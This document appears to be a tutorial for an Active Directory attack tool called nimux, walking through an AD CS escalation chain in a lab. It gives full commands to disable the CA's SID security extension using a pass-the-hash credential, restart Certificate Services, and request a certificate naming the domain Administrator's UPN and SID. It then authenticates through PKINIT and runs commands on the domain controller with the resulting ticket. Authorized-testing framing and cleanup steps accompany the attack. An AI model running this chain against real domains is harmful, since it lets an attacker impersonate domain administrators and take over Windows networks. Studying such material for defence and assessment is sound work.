Advanced ADCS Policy and PKINIT with nimux
An advanced neutral walkthrough of ADCS policy operations, DisableExtensionList, UPN/SID certificate requests, PKINIT, ccache usage, and cleanup with nimux.
Overview
AD CS work becomes interesting when the path moves beyond template inventory and into CA policy, certificate request transport, certificate identity mapping, and Kerberos authentication.
This article walks through an advanced but generic authorized lab workflow using nimux:
- enumerate AD CS exposure;
- read and modify CA policy values through
ICertAdminD2; - disable the Microsoft SID security extension when the test requires SAN-based mapping;
- restart Certificate Services so the CA reloads policy;
- request a certificate over RPC with UPN and SID material;
- write a PFX;
- authenticate through PKINIT and produce a ccache;
- use the ccache with a Kerberos-capable execution module;
- verify and clean up the CA policy state.
The examples use neutral lab names. Replace hostnames, CA names, SIDs, and account names with values from your authorized environment.
Lab assumptions
Domain: corp.local
Realm: CORP.LOCAL
Domain controller: dc01.corp.local
CA name: CORP-CA
Template: User
CA management principal: CORP\ca-manager$
Enrollment principal: CORP\svc_enroll
Target UPN: [email protected]
Target SID: S-1-5-21-1111111111-2222222222-3333333333-500The CA management principal is used for policy administration. The enrollment principal is used for the certificate request. In many real environments, those permissions are different and should be treated separately in both testing and reporting.
1. Enumerate AD CS state
Start with inventory. This tells you which CAs and templates exist and whether nimux can see common ESC-style conditions.
nimux ldap dc01.corp.local -u operator -p '<password>' -d corp.local --adcsUse JSON when you want repeatable evidence:
nimux ldap dc01.corp.local -u operator -p '<password>' -d corp.local --adcs --json > adcs-inventory.jsonReview certificate-related account material as well:
nimux ldap dc01.corp.local -u operator -p '<password>' -d corp.local --cert-inventory --json > cert-inventory.jsonUseful questions at this stage:
- Is the CA reachable from the operator route?
- Which templates are published?
- Which templates allow enrollment for the principal you plan to use?
- Does the CA expose web enrollment?
- Are certificate mapping attributes already present on sensitive accounts?
- Is the SID security extension currently enabled or disabled?
2. Read CA policy values
--adcs-policy uses the Certificate Services administration path for CA policy values. The important implementation detail is that nimux talks to the Certificate Services administration interface and verifies readback, instead of pretending that a syntactically successful RPC call means the CA actually changed.
Read EditFlags:
nimux ldap dc01.corp.local -u 'ca-manager$' -H '<ntlm_hash>' -d CORP.LOCAL --adcs-policy --ca CORP-CA --adcs-get-editflagsRead DisableExtensionList:
nimux ldap dc01.corp.local -u 'ca-manager$' -H '<ntlm_hash>' -d CORP.LOCAL --adcs-policy --ca CORP-CA --adcs-get-disable-extension-listThe human output is meant to be readable during an assessment. Use --json if you want fields such as the CA config string, authority, node path, operation type, readback value, entries, and verification status.
3. Disable the SID security extension for a controlled test
When a CA includes the Microsoft SID security extension in issued certificates, Windows can prefer that SID over a SID supplied through SAN URL mapping. If your authorized test requires validating SAN-based mapping behavior, disable the SID security extension OID in DisableExtensionList.
nimux ldap dc01.corp.local -u 'ca-manager$' -H '<ntlm_hash>' -d CORP.LOCAL --adcs-policy --ca CORP-CA --adcs-set-disable-extension-list 1.3.6.1.4.1.311.25.2Verify the value:
nimux ldap dc01.corp.local -u 'ca-manager$' -H '<ntlm_hash>' -d CORP.LOCAL --adcs-policy --ca CORP-CA --adcs-get-disable-extension-listThe expected readback should include:
1.3.6.1.4.1.311.25.24. Restart Certificate Services
Policy values are not always effective until Certificate Services reloads the policy module configuration. If restarting the CA service is in scope, use a controlled service restart and record the exact time.
nimux winrm dc01.corp.local -u 'ca-manager$' -H '<ntlm_hash>' --cmd 'Restart-Service -Name CertSvc -Force; Start-Sleep -Seconds 3; (Get-Service CertSvc).Status'Expected status:
RunningKeep this action explicit in the report. Restarting a CA is operationally meaningful and should not be hidden inside a larger chain.
5. Request a certificate over RPC
After policy reload, request a certificate with a UPN SAN and SID URL SAN. Use an account that has enrollment rights on the selected template.
nimux ldap dc01.corp.local -u svc_enroll -p '<password>' -d CORP.LOCAL --adcs-request --adcs-rpc --ca CORP-CA --template User --upn [email protected] --sid S-1-5-21-1111111111-2222222222-3333333333-500 --out administrator.pfxWhen --out ends in .pfx, nimux writes a PFX and the matching certificate file:
administrator.pfx
administrator.cerIf --out is omitted, nimux derives an output name from the requested identity. During a formal test, passing a clear output name is better because it makes evidence and cleanup easier.
6. Understand certificate identity results
After a request, inspect whether the certificate contains:
- SAN UPN;
- SAN URL SID;
- Microsoft SID security extension;
- template name;
- issuer and subject;
- validity period.
If the security extension SID still appears and differs from the target SID, Windows may use the extension SID for authentication. That means the certificate request succeeded, but the identity mapping result may not be the one you expected.
This is why the policy readback and CertSvc restart matter. Treat the certificate content as evidence, not as an assumption.
7. Generate Kerberos configuration
Create a krb5 config that points directly at the domain controller. This avoids relying on local DNS behavior during PKINIT and later Kerberos operations.
nimux krb5conf dc01.corp.local -d corp.local --realm CORP.LOCAL --out corp.krb5.confThe file should map corp.local to CORP.LOCAL and set the KDC to the target domain controller.
8. Authenticate with the PFX using PKINIT
Use the requested PFX to obtain a TGT and store it in a ccache:
nimux ldap dc01.corp.local -d corp.local --adcs-auth --upn [email protected] --pfx administrator.pfx --ccache admin.ccache --krb5-config corp.krb5.confCheck the cache:
klist -c admin.ccacheYou should see a default principal for the requested identity and a TGT for the realm.
9. Use the ccache with a Kerberos-capable module
Validate access with a low-impact command first:
nimux scm dc01.corp.local -k --ccache admin.ccache -d corp.local --krb5-config corp.krb5.conf --cmd whoamiIf the service ticket is already in the ccache, nimux should reuse it. If not, the Kerberos library will request the needed service ticket using the TGT.
If Kerberos fails, check:
- the ccache path;
- realm casing;
- KDC hostname and
/etc/hosts; - time synchronization;
- SPN target name;
- whether the requested certificate maps to the expected account;
- whether the target protocol accepts the mapped identity.
10. Clear the policy change
After validation, restore the CA policy to the expected state. If the test added only the SID security extension OID, clear the list:
nimux ldap dc01.corp.local -u 'ca-manager$' -H '<ntlm_hash>' -d CORP.LOCAL --adcs-policy --ca CORP-CA --adcs-clear-disable-extension-listVerify the clear operation:
nimux ldap dc01.corp.local -u 'ca-manager$' -H '<ntlm_hash>' -d CORP.LOCAL --adcs-policy --ca CORP-CA --adcs-get-disable-extension-listRestart Certificate Services again if required by the environment:
nimux winrm dc01.corp.local -u 'ca-manager$' -H '<ntlm_hash>' --cmd 'Restart-Service -Name CertSvc -Force'Troubleshooting
Template denied
CERTSRV_E_TEMPLATE_DENIED means the requester does not have enrollment rights on the selected template. CA management rights and template enrollment rights are separate.
Use a principal that can enroll on the template, or validate template ACLs before requesting.
Certificate mismatch
If PKINIT reports that the security extension SID overrides the SAN URL SID, the certificate was issued with a security extension SID that maps to the requester instead of the target. Re-check DisableExtensionList, restart CertSvc, request a fresh certificate, and inspect the new certificate.
KDC error
KDC errors are usually configuration or mapping problems. Check time sync, realm, KDC, /etc/hosts, certificate identity, and whether the target DC can validate the certificate chain.
SMB Kerberos authentication failed
If the ccache contains a TGT but SMB authentication fails, verify that the ccache contains or can obtain cifs/<target> for the exact hostname used in the command. Hostname mismatches are common.
Reporting
A good finding should separate each permission boundary:
- CA management permission used to change policy;
- certificate service restart permission;
- template enrollment permission;
- certificate identity material produced;
- PKINIT result;
- Kerberos service usage;
- cleanup and restored state.
Do not report only that a certificate was issued. The important issue is the chain of controls that allowed certificate-backed authentication as a more privileged identity.